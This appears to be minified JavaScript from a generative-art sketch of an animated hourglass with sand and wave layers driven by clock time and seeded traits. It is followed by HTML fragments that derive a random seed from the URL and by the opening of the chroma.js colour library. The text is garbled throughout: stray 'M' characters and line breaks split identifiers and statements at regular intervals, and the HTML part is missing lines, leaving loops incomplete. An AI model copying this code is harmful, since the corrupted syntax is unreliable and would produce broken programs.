;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
